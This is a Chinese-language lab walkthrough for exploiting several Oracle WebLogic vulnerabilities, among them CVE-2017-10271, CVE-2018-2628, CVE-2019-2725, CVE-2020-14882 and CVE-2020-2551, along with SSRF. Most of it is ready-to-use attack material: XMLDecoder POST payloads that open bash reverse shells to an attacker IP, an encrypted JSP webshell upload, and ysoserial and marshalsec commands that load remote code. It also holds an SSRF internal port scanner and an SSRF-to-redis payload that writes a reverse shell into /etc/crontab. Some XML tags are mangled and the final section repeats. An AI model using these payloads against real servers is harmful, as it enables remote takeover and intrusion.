WebLogic是美国Oracle公司出品的一个application server,确切的说是一个基于JAVAEE架构的中间件,WebLogic是用于开发、集成、部署和管理大型分布式Web应用、网络应用和数据库应用的Java应用服务器。将Java的动态功能和Java Enterprise标准的安全性引入大型网络应用的开发、集成、部署和管理之中。
网上爆出weblogic的WLS组件存在xmldecoder反序列化漏洞,直接post构造的xml数据包即可rce。
10.3.6.0.0,12.1.3.0.0,12.2.1.1.0,12.2.1.2.0。
靶机IP:192.168.190.136
攻击机:192.168.190.1可能存在漏洞路径
/wls-wsat/CoordinatorPortType,/wls-wsat/RegistrationPortTypeRPC,
/wls-wsat/ParticipantPortType,/wls-wsat/RegistrationRequesterPortType,
/wls-wsat/CoordinatorPortType11,/wls-wsat/RegistrationPortTypeRPC11,
/wls-wsat/ParticipantPortType11,/wls-wsat/RegistrationRequesterPortType11
1、使用vulhub搭建环境,并启动
切换到 /opt/vulhub/weblogic/CVE-2017-10271/
目录下
执行 docker-compose up -d
2、访问 http://192.168.190.136:7001/wls-wsat/RegistrationRequesterPortType ,响应出现 Web Services证明存在该漏洞。
执行反弹shell命令
POST /wls-wsat/RegistrationRequesterPortType HTTP/1.1
Host: 192.168.190.136:7001
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Type: text/xml
Content-Length: 841
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java>
<object class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bashstring>
void>
<void index="1">
<string>-cstring>
void>
<void index="2">
<string>bash -i >& /dev/tcp/192.168.190.1/4444 0>&1string>
void>
array>
<void method="start"/>
object>
java>
work:WorkContext>
soapenv:Header>
<soapenv:Body/>
soapenv:Envelope>
CVE-2017-10271是对CVE-2017-3506 的补丁绕过,将 object 替换成 void。
10.3.6.0.0,12.1.3.0.0,12.2.1.1.0,12.2.1.2.0。
靶机IP:192.168.190.136
攻击机:192.168.190.1
1、使用vulhub搭建环境,并启动
切换到 /opt/vulhub/weblogic/CVE-2017-10271/
目录下
执行 docker-compose up -d
2、访问http://192.168.190.1:7001/wls-wsat/CoordinatorPortType 响应出现 Web Services证明存在该漏洞
3、开始复现
访问 http://192.168.190.136:7001/wls-wsat/CoordinatorPortType 使用POST方法发送特定的xml数据,可以实现各种命令执行。
尝试写入文件
请求包
POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: 192.168.190.136:7001
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Type: text/xml
Content-Length: 705
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.6.0" class="java.beans.XMLDecoder">
<void class="java.io.PrintWriter">
<string>servers/AdminServer/tmp/_WL_internal/wls-wsat/54p17w/war/test.txtstring><void method="println">
<string>xmldecoder_vul_test11string>void><void method="close"/>
void>
java>
work:WorkContext>
soapenv:Header>
<soapenv:Body/>
soapenv:Envelope>
注意这里的类型不能丢,返回500状态码,即执行成功。
写shell
POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: 192.168.190.136:7001
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Type: text/xml
Content-Length: 1154
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java><java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.io.PrintWriter">
<string>servers/AdminServer/tmp/_WL_internal/wls-wsat/54p17w/war/shell1.jspstring>
<void method="println"><string>
<%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="b8a7336f1f7528e1";session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>
]]>
string>
void>
<void method="close"/>
void>java>java>
work:WorkContext>
soapenv:Header>
<soapenv:Body/>
soapenv:Envelope>
连shell http://192.168.190.136:7001/wls-wsat/shell1.jsp
执行反弹shell
POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: 192.168.190.136:7001
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Type: text/xml
Content-Length: 641
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bashstring>
void>
<void index="1">
<string>-cstring>
void>
<void index="2">
<string>bash -i >& /dev/tcp/192.168.190.1/4444 0>&1string>
void>
array>
<void method="start"/>void>
java>
work:WorkContext>
soapenv:Header>
<soapenv:Body/>
soapenv:Envelope>
nc -lvp 4444 监听
参考连接:https://www.cnblogs.com/xyongsec/archive/2019/07/03/11125511.html
Weblogic Server中的RMI 通信使用T3协议在Weblogic Server和其它Java程序(客户端或者其它Weblogic Server实例)之间传输数据, 服务器实例会跟踪连接到应用程序的每个Java虚拟机(JVM)中, 并创建T3协议通信连接, 将流量传输到Java虚拟机. T3协议在开放WebLogic控制台端口的应用上默认开启. 攻击者可以通过T3协议发送恶意的的反序列化数据, 进行反序列化, 实现对存在漏洞的weblogic组件的远程代码执行攻击。
Weblogic 10.3.6.0
Weblogic 12.1.3.0
Weblogic 12.2.1.2
Weblogic 12.2.1.3
靶机IP:192.168.190.136
攻击机:192.168.190.1 192.168.190.131
1、漏洞检测
检测weblogic版本信息和t3协议是否开启
nmap -n -v -p 7001 ip --script=weblogic-t3-info -Pn ip
python2 CVE-2018-2628-MultiThreading.py
Checking start.
Checking... 192.168.190.136:7001
send request payload successful,recv length:1690
192.168.190.136:7001 is vul CVE-2018-2628
Checking completed, please see the above result.
开始复现
工具包 https://github.com/Lighird/CVE-2018-2628
在线工具 http://www.jackson-t.ca/runtime-exec-payloads.html
在192.168.190.1上运行 ysoserial-0.1-cve-2018-2628-all.jar 侦听 22801端口 并要求执行 反弹shell命令
命令:bash -i >& /dev/tcp/192.168.190.1/4444 0>&1
base64变形后:bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE5MC4xLzQ0NDQgMD4mMQ==}|{base64,-d}|{bash,-i}
java -cp ysoserial-0.1-cve-2018-2628-all.jar ysoserial.exploit.JRMPListener 22801 Jdk7u21 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE5MC4xLzQ0NDQgMD4mMQ==}|{base64,-d}|{bash,-i}"
在192.168.190.1上运行 ysoserial-0.1-cve-2018-2628-all.jar 生成 payload
将Payload字符串复制到weblogic_poc.py文件中替换PAYLOAD。
执行 python2 weblogic_poc.py
nc 侦听 4444端口接收反弹shell
该漏洞存在于wls9-async组件,该组件为异步通讯服务,攻击者可以在/_async/AsyncResponseService路径下传入恶意的xml格式的数据,传入的数据在服务器端反序列化时,执行其中的恶意代码,实现远程命令执行,攻击者可以进而获得整台服务器的权限。
Oracle WebLogic Server 10.*
Oracle WebLogic Server 12.1.3
靶机IP:192.168.190.136
攻击机:192.168.190.1漏洞路径
/_async/AsyncResponseService
/_async/AsyncResponseServiceJms
/_async/AsyncResponseServiceHttps
/_async/AsyncResponseServiceSoap12
/_async/AsyncResponseServiceSoap12Jms
/_async/AsyncResponseServiceSoap12Https
1、访问漏洞地址 _async/AsyncResponseService 出现 Test page字眼,证明存在漏洞
访问 http://192.168.190.136:7001/_async/AsyncResponseService?info 获取路径
2、开始复现
访问 http://192.168.190.136:7001/_async/AsyncResponseService 使用POST方法发送特定的xml数据,可以实现各种命令执行。
POST /_async/AsyncResponseService HTTP/1.1
Host: 192.168.190.136:7001
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: ADMINCONSOLESESSION=6GvQhQCSj7brk6LwTpPnt22gTpb3JxynjPGk6FW3xVwMzznJhM2W!1628766885
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Type: text/xml
Content-Length: 794
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing"
xmlns:asy="http://www.bea.com/async/AsyncResponseService">
<soapenv:Header>
<wsa:Action>xxwsa:Action>
<wsa:RelatesTo>xxwsa:RelatesTo>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bashstring>
void>
<void index="1">
<string>-cstring>
void>
<void index="2">
<string>bash -i >& /dev/tcp/192.168.190.1/4444 0>&1string>
void>
array>
<void method="start"/>void>
work:WorkContext>
soapenv:Header>
<soapenv:Body>
<asy:onAsyncDelivery/>
soapenv:Body>soapenv:Envelope>
相应包返回202 Accepted,命令执行成功
nc 监听 4444端口接收 bash shell
远程代码执行漏洞 (CVE-2020-14882)POC 已被公开,未经身份验证的远程攻击者可通过构造特殊的 HTTP GET 请求,结合 CVE-2020-14883 漏洞进行利用,利用此漏洞可在未经身份验证的情况下直接接管 WebLogic Server Console ,并执行任意代码,利用门槛低,危害巨大。
Oracle WebLogic Server,版本10.3.6.0,12.1.3.0,12.2.1.3,12.2.1.4,14.1.1.0。
靶机IP:192.168.190.136
攻击机:192.168.190.1
1、 漏洞检测 POC
直接访问 http://192.168.190.1:7001/console/images/%252E%252E%252Fconsole.portal
未授权访问后台通过问未授权访问到管理后台页面,利用第二个命令执行漏洞(cve-2020-14883)
这个漏洞的利用方式有两种
一是通过 com.tangosol.coherence.mvel2.sh.ShellSession()
二是通过com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext()
—windows环境—
弹计算器
[http://vlunip:7001/console/images/%252E%252E%252Fconsole.portal?_nfpb=true&_pageLabel=HomePage1&handle=com.tangosol.coherence.mvel2.sh.ShellSession(%22java.lang.Runtime.getRuntime().exec(%27calc.exe%27);%22)](http://192.168.142.132:7001/console/images/%252E%252E%252Fconsole.portal?_nfpb=true&_pageLabel=HomePage1&handle=com.tangosol.coherence.mvel2.sh.ShellSession(%22java.lang.Runtime.getRuntime().exec(%27calc.exe%27);%22))
2、通过FileSystemXmlApplicationContext()加载并执行远端xml文件:
windows-nc-shell-xml
<beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>cmdvalue>
<value>/cvalue>
<value>whoamivalue>
list>
constructor-arg>
bean>
beans>
linux-shell.xml
<beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>/bin/bashvalue>
<value>-cvalue>
<value>& /dev/tcp/192.168.190.1/4444 0>&1]]>value>
list>
constructor-arg>
bean>
beans>
3、在攻击机上搭建一个 http.server ,让docker远程访问 xml文件,实现反弹shell
python3 -m http.server 8000
nc监听4444端口
nc -lvvp 4444
访问 http://192.168.190.1:8000/linux.xml
/console/images/%252E%252E%252Fconsole.portal?_nfpb=true&_pageLabel=HomePage1&handle=com.bea.core.repackaged.springframework.context.support.ClassPathXmlApplicationContext("[http://192.168.190.1:8000/linux.xml")](http://192.168.190.1:8000/linux.xml"))
2020年1月15日,Oracle官方发布2020年1月关键补丁更新公告CPU(CriticalPatch Update),其中CVE-2020-2551的漏洞,漏洞等级为高危,CVVS评分为9.8分,漏洞利用难度低。IIOP反序列化漏洞影响的协议为IIOP协议,该漏洞是由于调用远程对象的实现存在缺陷,导致序列化对象可以任意构造,在使用之前未经安全检查,攻击者可以通过 IIOP 协议远程访问 Weblogic Server 服务器上的远程接口,传入恶意数据,从而获取服务器权限并在未授权情况下远程执行任意代码.
weblogic 版本 10.3.6.0
weblogic 版本 12.1.3.0
weblogic 版本 12.2.1.3
weblogic 版本 12.2.1.4
靶机IP:192.168.190.128
攻击机:192.168.190.1
import java.io.IOException;
public class exploit {
static{
try {
java.lang.Runtime.getRuntime().exec(new String[]{"cmd","/c","calc"});
} catch (IOException e) {
e.printStackTrace();
}
}
public static void main(String[] args) {
}
}
2、编译生成exploit.class文件 ,启动一个简易的python http服务
javac exploit.java -source 1.6 -target 1.6
python3 -m http.server 80
3、使用marshalsec起一个恶意的RMI服务
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "[http://192.168.190.1/#exploit"](http://192.168.190.1/#exploit") 1099
4、远程加载恶意类 exploit.class
java -jar weblogic_CVE_2020_2551.jar 192.168.190.128 7001 rmi://192.168.190.1:1099/exploit
参考文章:https://xz.aliyun.com/t/7374
https://www.freebuf.com/vuls/257820.html
服务端请求伪造(Server-Side Request Forgery),是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。一般情况下,SSRF攻击的目标是从外网无法访问的内部系统。
SSRF形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能,且没有对目标地址做过滤与限制。比如从指定URL地址获取网页文本内容,加载指定地址的图片、文档等等。
Weblogic中存在一个SSRF漏洞,利用该漏洞可以发送任意HTTP请求,进而攻击内网中redis、fastcgi等脆弱组件。
weblogic 版本10.0.2
weblogic 版本10.3.6
靶机IP:192.168.190.136
攻击机:192.168.190.1
直接访问漏洞url
http://192.168.190.136:7001/uddiexplorer/SearchPublicRegistries.jsp
填写表单,点击search,使用burp抓包,发送到重放模块
更改 operator 可以探测内网主机信息,测试172.22.0.11主机 返回 No route to host 表示主机不存在
尝试 http://172.22.0.2:7001 返回 ‘1’ addresses, but could not connect over HTTP to server: ‘172.22.0.2’, port: ‘7001’ 表示172.22.0.2主机存在,但是7001端口不存在。
返回404表示7001端口开放,
返回 Received a response from url 表示端口开发
weblogic ssrf 内网信息探测脚本
import thread
import time
import re
import requests
def ite_ip(ip):
for i in range(1, 256):
final_ip = '{ip}.{i}'.format(ip=ip, i=i)
print final_ip
thread.start_new_thread(scan, (final_ip,))
time.sleep(3)
def scan(final_ip):
ports = ('21', '22', '23', '53', '80', '135', '139', '443', '445', '1080', '1433', '1521', '3306', '3389', '4899', '8080', '7001', '8000','6389','6379')
for port in ports:
vul_url = 'http://192.168.0.132:7001/uddiexplorer/SearchPublicRegistries.jsp?operator=http://%s:%s&rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search' % (final_ip,port)
try:
#print vul_url
r = requests.get(vul_url, timeout=15, verify=False)
result1 = re.findall('weblogic.uddi.client.structures.exception.XML_SoapException',r.content)
result2 = re.findall('but could not connect', r.content)
result3 = re.findall('No route to host', r.content)
if len(result1) != 0 and len(result2) == 0 and len(result3) == 0:
print '[!]'+final_ip + ':' + port
except Exception, e:
pass
if __name__ == '__main__':
ip = "172.18.0"
if ip:
print ip
ite_ip(ip)
else:
print "no ip"
通过以上的SSRF漏洞,探测探测出存在 redis
Weblogic的SSRF有一个比较大的特点,其虽然是一个”GET/POST”请求,但是我们可以通过传入%0a%0d来注入换行符,某些服务(如redis)是通过换行符来分隔每条命令,本环境可以通过该SSRF攻击内网中的redis服务器。
发送三条redis命令,将弹shell脚本写入/etc/crontab:
crontab语法:https://www.jianshu.com/p/ecd6a1cfb73e
test
set 1 "\n\n\n\n* * * * * root bash -i >& /dev/tcp/192.168.190.1/4444 0>&1\n\n\n\n"
config set dir /etc/
config set dbfilename crontab
save
aaa
将以上payload进行为uel编码
operator=http://172.22.0.2:6379/test%0a%0aset%201%20%22%5cn%5cn%5cn%5cn*%20*%20*%20*%20*%20root%20bash%20-i%20%3e%26%20%2fdev%2ftcp%2f192.168.190.1%2f4444%200%3e%261%5cn%5cn%5cn%5cn%22%0aconfig%20set%20dir%20%2fetc%2f%0aconfig%20set%20dbfilename%20crontab%0asave%0a%0aaaa&rdoSearch=name&txtSearchname=1&txtSearchkey=2&txtSearchfor=3&selfor=Business+location&btnSubmit=Search
发送payload触发反弹shell连接 192.168.190.1:4444
反弹shell成功
补充一下,可进行利用的cron有以下几个地方:
/etc/crontab 这个是肯定的
/etc/cron.d/* 将任意文件写到该目录下,效果和crontab相同,格式也和/etc/crontab相同。 。
/var/spool/cron/root centos系统下root用户的cron文件
/var/spool/cron/crontabs/root debian系统下root用户的cron文件
靶机IP:192.168.190.136
攻击机:192.168.190.1
访问weblogic控制台登录页面
http://192.168.190.136:7001/console/login/LoginForm.jsp
输入 weblogic/Oracle@123 登录控制台
一次选择部署-》安装-》上载文件
上传 qwerty.war包
一次点击下一步至完成部署安装
机IP:192.168.190.136
攻击机:192.168.190.1
访问weblogic控制台登录页面
http://192.168.190.136:7001/console/login/LoginForm.jsp
输入 weblogic/Oracle@123 登录控制台
一次选择部署-》安装-》上载文件
上传 qwerty.war包
一次点击下一步至完成部署安装